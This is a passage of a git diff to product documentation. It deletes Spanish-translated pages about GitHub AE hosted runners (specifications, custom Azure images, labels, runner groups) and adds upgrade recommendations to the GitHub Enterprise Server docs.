`repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} | `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md b/translations/es-ES/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md deleted file mode 100644 index ef56c743ec..0000000000 --- a/translations/es-ES/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: About AE hosted runners -intro: '{% data variables.product.prodname_ghe_managed %} offers customizable and security hardened hosted virtual machines to run {% data variables.product.prodname_actions %} workflows. You can select the hardware, bring your own machine image, and enable an IP address for networking with your {% data variables.actions.hosted_runner %}.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## About {% data variables.actions.hosted_runner %}s - -An {% data variables.actions.hosted_runner %} is a virtual machine managed by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner service installed. {% data variables.actions.hosted_runner %}s are dedicated to your enterprise, and you can choose from a range of hardware and software options. By default, {% data variables.actions.hosted_runner %}s are fully managed and auto-scaled by {% data variables.product.company_short %} to maximize performance while minimizing costs.{% ifversion ghae-next %} You can optionally configure the parameters of this auto-scaling to reduce your cost even more.{% endif %} - -{% data variables.product.prodname_ghe_managed %} lets you create and customize {% data variables.actions.hosted_runner %}s using Ubuntu or Windows images; you can select the size of machine you want and optionally configure a fixed public IP range for your {% data variables.actions.hosted_runner %}s. - -Each workflow job is executed in a fresh instance of the {% data variables.actions.hosted_runner %}, and you can run workflows directly on the virtual machine or in a Docker container. All steps in the job execute in the same instance, allowing the actions in that job to share information using the {% data variables.actions.hosted_runner %}'s filesystem. - -To add {% data variables.actions.hosted_runner %}s to your organization or enterprise, see ["Adding {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/adding-ae-hosted-runners)." - -## Pool assignments for {% data variables.actions.hosted_runner %}s - -Your {% data variables.actions.hosted_runner %}s are allocated to the same pool as your {% data variables.product.prodname_ghe_managed %} instance. No other customers have access to this pool, and as a result, {% data variables.actions.hosted_runner %}s are not shared with any other customers. - -## Managing your {% data variables.actions.hosted_runner %}s - -During the {% data variables.actions.hosted_runner %} beta, you can manage your {% data variables.actions.hosted_runner %}s by contacting {% data variables.product.prodname_dotcom %} support. For example, {% data variables.product.prodname_dotcom %} support can assist you with adding a new {% data variables.actions.hosted_runner %}, assigning labels, or moving a {% data variables.actions.hosted_runner %} to a different group. - -## Billing - -Once the beta ends, billed usage will include the full uptime of active instances in your AE hosted runner sets. This includes: -- Job time - minutes spent running Actions job. -- Management - minutes spent re-imaging machines{% ifversion ghae-next %} and any idle time created as a result of desired auto-scale behavior{% endif %}. - -Pricing will scale linearly with cores. For example, 4 cores will be twice the price of 2 cores. Windows VMs will be priced higher than Linux VMs. - -## Hardware specifications - -{% data variables.actions.hosted_runner %}s are available on a range of virtual machines hosted in Microsoft Azure. Depending on regional availability, you can choose from `Standard_Das_v4`, `Standard_DS_v2`, `Standard_Fs_v2 series`. Certain regions also include GPU runners based on `Standard_NCs_v3`. - -For more information about these Azure machine resources, see "[Sizes for virtual machines in Azure](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)" in the Microsoft Azure documentation. - -To determine which runner executed a job, you can review the workflow logs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." - -## Software specifications - -You can use {% data variables.actions.hosted_runner %}s with standard operating system images, or you can add images that you've created. - -### Default operating system images - -These images only include the standard operating system tools: - -- Ubuntu 18.04 LTS (Canonical) -- Ubuntu 16.04 LTS (Canonical) -- Windows Server 2019 (Microsoft) -- Windows Server 2016 (Microsoft) - -### Custom operating system images - -You can create your own OS images in Azure and have them added to {% data variables.product.prodname_ghe_managed %} as {% data variables.actions.hosted_runner %}s. For more information, see "[Adding an {% data variables.actions.hosted_runner %} with a custom image"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). - -## Network specifications - -You can optionally enable a fixed static public IP address for your {% data variables.actions.hosted_runner %}s. If enabled, all {% data variables.actions.hosted_runner %}s in your instance will share a range of 2 to 4 IP addresses, and will communicate using ports on those addresses. - -If you don't enable static public IP addresses, then your {% data variables.actions.hosted_runner %}s will subsequently have the same IP address ranges as the Azure datacenters. Inbound ICMP packets are blocked, so `ping` or `traceroute` commands are not expected to work. - -To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.actions.hosted_runner %}s, you can use the {% data variables.product.prodname_dotcom %} REST API . For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint. You can use this list of IP addresses if you require an allow-list to prevent unauthorized access to your internal resources. - -The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. - -{% ifversion ghae-next %} - -## Autoscaling - -Each pool of {% data variables.actions.hosted_runner %}s is fully managed by {% data variables.product.company_short %} to maximize performance while minimizing costs. Optionally, you can configure the autoscaling parameters for your enterprise by contacting {% data variables.contact.github_support %}. You can define the minimum number of idle runners and how long a runner should remain idle before being removed from the pool. Each pool can contain up to 600 runners. - -{% endif %} - -## Administrative privileges for {% data variables.actions.hosted_runner %}s - -The Linux virtual machines run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)." - -Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation. - -## File systems - -{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. - -| Directory | Environment variable | Description | -|-----------|----------------------|-------------| -| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | -| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. - -For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)." - -### Docker container filesystem - -Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. - -{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. - -- `/github/home` -- `/github/workspace` - {% data reusables.repositories.action-root-user-required %} -- `/github/workflow` diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md b/translations/es-ES/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md deleted file mode 100644 index 90dd082e34..0000000000 --- a/translations/es-ES/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Agregar ejecutores hospedados en AE -intro: 'Puedes agregar un {% data variables.actions.hosted_runner %} a una organización o empresa.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -{% note %} - -**Nota:** Para agregar {% data variables.actions.hosted_runner %} a {% data variables.product.prodname_ghe_managed %}, tendrás que contactar al soporte de {% data variables.product.prodname_dotcom %}. Este artículo describe la información que necesitará soporte para completar este proceso. - -{% endnote %} - -Los {% data variables.actions.hosted_runner %} pueden utilizar la simagenes base de sistema operativo de Azure, o puedes crear tus propias imágenes personalizadas. - -## Agregar un {% data variables.actions.hosted_runner %} desde la imagen base de Azure - -Puedes agregar {% data variables.actions.hosted_runner %} que utilicen las imágenes base del sistema operativo de Azure. Para agregar {% data variables.actions.hosted_runner %} a tu organización o empresa, contacta al soporte de {% data variables.product.prodname_dotcom %} y ten a la mano la siguiente información: - - Sistema operativo requerido: Se listan las opciones disponibles en ["Especificaciones de software](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)". - - Elige un nombre para cada agrupación de {% data variables.actions.hosted_runner %}. Estos nombres se crean como etiquetas, lo cual te permite enrutar tus flujos de trabajo a estos ejecutores. Para obtener más información, consulta la sección "[Utilizar {% data variables.actions.hosted_runner %}s en un flujo de trabajo](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)".{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - Dónde agregar el {% data variables.actions.hosted_runner %}: Identifica los nombres de las organizaciones y empresas que recibirán los ejecutores. - -## Agregar un {% data variables.actions.hosted_runner %} con una imagen personalizada - -Para crear una imagen de sistema operativo personalizada, consulta los pasos en ["Crear imágenes personalizadas"](/actions/using-github-hosted-runners/creating-custom-images). - -Una vez que hayas creado una imagen personalizado utilizando los pasos anteriores, contacta a soporte de {% data variables.product.prodname_dotcom %} y proporciona los siguientes detalles: - - - La URI de SAS que generaste cuando seguiste los pasos de creación de la imagen personalizada. - - Teclea el sistema operativo que utiliza la imagen: Este puede ser Linux o Windows. - - Nombre de imagen. - - Versión. - - SKU de la MV para la agrupación nueva. - - Elige un nombre para cada agrupación de {% data variables.actions.hosted_runner %}. Estos nombres se crean como etiquetas, lo cual te permite enrutar tus flujos de trabajo a estos ejecutores. Para obtener más información, consulta la sección "[Utilizar {% data variables.actions.hosted_runner %}s en un flujo de trabajo](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)".{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - Dónde agregar el {% data variables.actions.hosted_runner %}: Identifica los nombres de las organizaciones y empresas que recibirán los ejecutores. - -## Revisar tus {% data variables.actions.hosted_runner %} - -Una vez que el soporte de {% data variables.product.prodname_dotcom %} agregue tus ejecutores, podrás encontrarlos en tu lista de ejecutores: - -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/creating-custom-images.md b/translations/es-ES/content/actions/using-github-hosted-runners/creating-custom-images.md deleted file mode 100644 index e7c7aae8a9..0000000000 --- a/translations/es-ES/content/actions/using-github-hosted-runners/creating-custom-images.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Crear imágenes personalizadas -intro: 'Puedes crear imágenes personalizadas para los {% data variables.actions.hosted_runner %}.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Crear un {% data variables.actions.hosted_runner %} con una imagen personalizada - -Los {% data variables.actions.hosted_runner %} pueden utilizar imágenes de sistema operativo que hayas personalizado para que se adapten a tus necesidades. Este artículo incluye los pasos de alto nivel para crear la imagen en Azure y prepararla para {% data variables.product.prodname_ghe_managed %}. Para obtener más información, refiérete a la [Documentación de Azure](https://docs.microsoft.com/en-us/azure/virtual-machines/). - -Durante este beta, para poder crear una imagen personalizada para los {% data variables.actions.hosted_runner %}, necesitarás una suscripción a Azure que pueda aprovisionar una máquina virtual. - - -1. Aprovisiona una MV nueva en tu inquilino utilizando una imagen de marketplace o un disco duro virtual (VHD). -2. Opcionalmente, instala el software requerido en la MV. -3. Desaprovisiona la MV: - - Para Linux: entra con `ssh` en la MV y ejecuta: - ```sh - $ sudo waagent -deprovision+user - ``` - - Para Windows: Sigue los pasos descritos en ["Generalizar la MV de origen utilizando Sysprep](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/upload-generalized-managed#generalize-the-source-vm-by-using-sysprep)". - -4. Utiliza el CLI de Azure para desasignar y generalizar la MV: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - Stop-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Set-AzVM -ResourceGroupName $resourceGroupName -Name $vmName -Generalized - ``` - - Reemplaza a `octo-vm` con el nombre de tu máquina virtual. - - Para obtener más información acerca de estos pasos, consulta la sección "[Cómo crear una imagen administrada de una máquina virtual o VHD](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/capture-image#step-1-deprovision-the-vm)". -5. Genera una URI de SAS para el disco del sistema operativo de la MV. - - Utiliza el portal de Azure: En el recurso del disco, navega a **Exportación de Disco**, configura `URL expires in (seconds)` en `86400` (24 horas), y genera la URL. - - Utiliza el CLI de Azure: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - $vm = Get-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Grant-AzDiskAccess ` - -ResourceGroupName $resourceGroupName ` - -DiskName $vm.StorageProfile.OsDisk.Name ` - -Access Read ` - -DurationInSecond 86400 - ``` - - Reemplaza a `octo-vm` con el nombre de tu máquina virtual. - -Una vez que hayas creado la imagen, puedes agregarla a {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Agregar un {% data variables.actions.hosted_runner %} con una imagen personalizada"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md b/translations/es-ES/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md deleted file mode 100644 index 4022c20496..0000000000 --- a/translations/es-ES/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Utilizar los ejecutores hospedados en AE en un flujo de trabajo -intro: 'Puedes utilizar etiquetas para mandar jobs a una agrupación de {% data variables.actions.hosted_runner %}.' -versions: - ghae: '*' -shortTitle: Utilizar ejecutores hospedados en AE ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Utilizar {% data variables.actions.hosted_runner %} en un flujo de trabajo - -Las etiquetas te permiten enviar jobs de flujo de trabajo a cualquier {% data variables.actions.hosted_runner %} que las incluya. Puedes tanto utilizar las etiquetas predeterminadas como crear las tuyas propias. - -## Utilizar etiquetas predeterminadas para enrutar jobs - -Un {% data variables.actions.hosted_runner %} recibe una etiqueta cuando se agrega a las {% data variables.product.prodname_actions %}. La etiqueta se utiliza para indicar dónde se asignó. - -Puedes utilizar el YAML de tu flujo de trabajo para enviar jobs a una agrupación específica de {% data variables.actions.hosted_runner %}. Este ejemplo demuestra cómo configurar un flujo de trabajo para que se ejecute en una etiqueta llamada `AE-runner-for-CI`: - -```yaml -runs-on: [AE-runner-for-CI] -``` - -Para obtener más información, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)." - -## Utilizar etiquetas personalizadas para enrutar jobs - -Puedes crear etiquetas personalizadas y asignarlas a tus {% data variables.actions.hosted_runner %} en cualquier momento. Las etiquetas personalizadas te permiten mandar jobs a tipos particulares de ejecutores con base en cómo se etiquetan. - -Por ejemplo, si tienes un job que necesita un paquete de software específico, puedes crear una etiqueta personalizada que se llame `octocat` y asignarla a los ejecutores que tienen instalado el paquete. Un {% data variables.actions.hosted_runner %} que empate con todas las etiquetas asignadas serán entonces elegible para ejecutar el job. - -Este ejemplo muestra un job que utiliza etiquetas múltiples: - -```yaml -runs-on: [AE-runner-for-CI, octocat, linux] -``` - -Estas etiquetas operan acumulativamente, para que las etiquetas de un {% data variables.actions.hosted_runner %} deban empatar con todas ellas para que pueda ser elegible para procesar el job. diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md b/translations/es-ES/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md deleted file mode 100644 index 335dbe20b9..0000000000 --- a/translations/es-ES/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Utilizar grupos para administrar el acceso a los ejecutores hospedados en AE -intro: 'Puedes utilizar políticas para limitar el acceso a los {% data variables.actions.hosted_runner %} que se hayan agregado a una organización o empresa.' -versions: - ghae: '*' -shortTitle: Administrar los grupos de ejecución de AE ---- - -{% data reusables.actions.ae-hosted-runners-beta %} - -## Acerca de los gupos de {% data variables.actions.hosted_runner %} - -Los grupos de {% data variables.actions.hosted_runner %} se utilizan para controlar el acceso a los {% data variables.actions.hosted_runner %} a nivel de organización y empresa. Los administradores de la empresa pueden configurar políticas de acceso que controlan qué organizaciones en la empresa tienen acceso al grupo de ejecutores. Los administradores de las organizaciones pueden configurar políticas de acceso que controlen qué repositorios en una organización tienen acceso al grupo de ejecutores. - -Cuando un administrador de empresa otorga acceso de organización a un grupo de ejecutores, los administradores de la organización pueden ver este grupo listado en la configuración del {% data variables.actions.hosted_runner %} de la organización. Los administradores de la organización pueden entonces asignar políticas de acceso adicionales para repositorios granulares en el grupo de ejecutores de la empresa. - -Cuando se crean nuevos ejecutores, se asignan automáticamente al grupo predeterminado. Los ejecutores solo pueden estar en un grupo a la vez. Puedes mover los ejecutores del grupo predeterminado a otro grupo. Para obtener más información, consulta la sección "[Mover un {% data variables.actions.hosted_runner %} a un grupo](#moving-an-ae-hosted-runner-to-a-group)". - -## Crear un grupo de {% data variables.actions.hosted_runner %} para una organización - -Todas las organizaciones tienen un solo grupo de {% data variables.actions.hosted_runner %} predeterminado. Las organizaciones dentro de una cuenta empresarial pueden crear grupos de ejecutores adicionales. Los administradores de la organización pueden permitir el acceso de los repositorios individuales a un grupo de ejecutores. - -Los {% data variables.actions.hosted_runner %} se asignan automáticamente al grupo predeterminado cuando se crea y solo pueden ser miembros de un grupo a la vez. Puedes mover un ejecutor del grupo predeterminado a cualquier grupo que crees. - -Cuando creas un grupo, debes elegir una política que defina qué repositorios tienen acceso al grupo ejecutor. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions %} -1. En la sección de **Ejecutores auto-hospedados** da clic en **Agregar nuevo** y luego en **Grupo nuevo**. - - ![Agregar un grupo de ejecutores](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-repo %} -1. Da clic en **Guardar grupo** para crear el grupo y aplicar la política. - -## Crear un grupo de {% data variables.actions.hosted_runner %} para una empresa - -Las empresas pueden agregar sus {% data variables.actions.hosted_runner %} a los grupos para la administración de accesos. Las empresas pueden crear grupos de {% data variables.actions.hosted_runner %} para que organizaciones específicas en la cuenta empresarial puedan acceder a ellos. Los administradores de la organización pueden entonces asignar políticas de acceso adicionales para los repositorios granulares a estos grupos de ejecutores para las empresas. - -Los {% data variables.actions.hosted_runner %} se asignan automáticamente al grupo predeterminado cuando se crea y solo pueden ser miembros de un grupo a la vez. Puedes asignar el ejecutor a un grupo específico durante el proceso de registro o puedes moverlo después desde el grupo predeterminado a un grupo personalizado. - -Cuando creas un grupo, debes elegir la política que defina qué organizaciones tienen acceso al grupo de ejecutores. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. Da clic en la pestaña de **Ejecutores auto-hospedados**. -1. Da clic en **Agregar nuevo** y luego en **Grupo nuevo**. - - ![Agregar un grupo de ejecutores](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-org %} - -1. Da clic en **Guardar grupo** para crear el grupo y aplicar la política. - -## Cambiar la política de acceso de un grupo de {% data variables.actions.hosted_runner %} - -Puedes actualizar la política de acceso de un grupo ejecutor o renombrarlo. - -{% data reusables.github-actions.hosted-runner-configure-runner-group-access %} - -## Mover un {% data variables.actions.hosted_runner %} a un grupo - -Los {% data variables.actions.hosted_runner %} nuevos se asignan automáticamente al grupo predeterminado y pueden moverse entonces a otro grupo. - -1. En la sección de **Ejecutores auto-hospedados** de la página de configuración, ubica el grupo actual del ejecutor que quieres mover y expande la lista de miembros del grupo. ![Ver los miembros de un grupo de ejecutores](/assets/images/help/settings/actions-hosted-runner-group-members.png) -1. Selecciona la casilla de verificación junto al ejecutor y da clic en **Mover a grupo** para ver los destinos disponibles. ![Mover a un miembro de un grupo de ejecutores](/assets/images/help/settings/actions-hosted-runner-group-member-move.png) -1. Para eliminar el ejecutor, haz clic en el grupo destino. ![Mover a un miembro de un grupo de ejecutores](/assets/images/help/settings/actions-hosted-runner-group-member-move-destination.png) - -## Eliminar un grupo de {% data variables.actions.hosted_runner %} - -Los {% data variables.actions.hosted_runner %} se devuelven automáticamente al grupo predeterminado cuando su grupo se elimina. - -1. En la sección de **Ejecutores auto-hospedados** de la página de configuración, ubica el grupo que quieras eliminar y da clic en el botón {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![Ver la configuración del grupo de ejecutores](/assets/images/help/settings/actions-hosted-runner-group-kebab.png) - -1. Para eliminar el grupo, da clic en **Eliminar grupo**. - - ![Ver la configuración del grupo de ejecutores](/assets/images/help/settings/actions-hosted-runner-group-remove.png) - -1. Revisa el mensaje de confirmación y da clic en **Eliminar este grupo de ejecutores**. diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md b/translations/es-ES/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md deleted file mode 100644 index d97e11f265..0000000000 --- a/translations/es-ES/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Utilizar etiquetas con ejecutores hospedados en AE -intro: 'Puedes utilizar etiquetas para organizar tus {% data variables.actions.hosted_runner %} con base en sus características.' -versions: - ghae: '*' -shortTitle: Etiquetar los ejecutores hospedados en AE ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -Para obtener más información sobre cómo utilizar las etiquetas para enrutar jobs a tipos específicos de {% data variables.actions.hosted_runner %}, consulta la sección "[Utilizar {% data variables.actions.hosted_runner %} en un flujo de trabajo](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)". - - -{% note %} - -**Nota:** Para administrar las etiquetas para tus {% data variables.actions.hosted_runner %}, necesitarás contactar al soporte de {% data variables.product.prodname_dotcom %}. - -{% endnote %} - -## Visualizar las etiquetas de tus {% data variables.actions.hosted_runner %} -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} -{% data reusables.github-actions.hosted-runner-list-group %} -1. Ubica el ejecutor que quieras verificar y haz clic en {% octicon "triangle-down" aria-label="The downward triangle" %} para ver el menú de selección de etiquetas. Las etiquetas que ya se hayan asignado a tu ejecutor tienen una {% octicon "check" aria-label="Check mark" %} junto a ellas. - -![Cambiar la etiqueta del ejecutor](/assets/images/help/settings/actions-hosted-runner-list-label.png) diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md index 829cdf411e..2111abfe4f 100644 --- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md +++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -16,23 +16,27 @@ topics: {% note %} **Notes:** +{% ifversion ghes < 3.3 %}- Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements.{% endif %} - Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance. - If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. -- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). +- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). {% endnote %} ## Recommendations -- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. +- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. - If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. - Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} - Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)." - When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete. +- Take a snapshot before upgrading your virtual machine. For more information, see "[Taking a snapshot](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)." +- Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). ## Requirements - You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. +- When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. - {% data reusables.enterprise_installation.hotpatching-explanation %} - A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. - Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md index 865966574d..4f60cb3784 100644 --- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md +++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md @@ -22,9 +22,12 @@ topics: - Upgrades shortTitle: Upgrading GHES --- + +{% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %} + ## Preparing to upgrade -1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)." +1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. 3. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). 4. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required. diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md index cdddcb3c87..fb18184ae3 100644 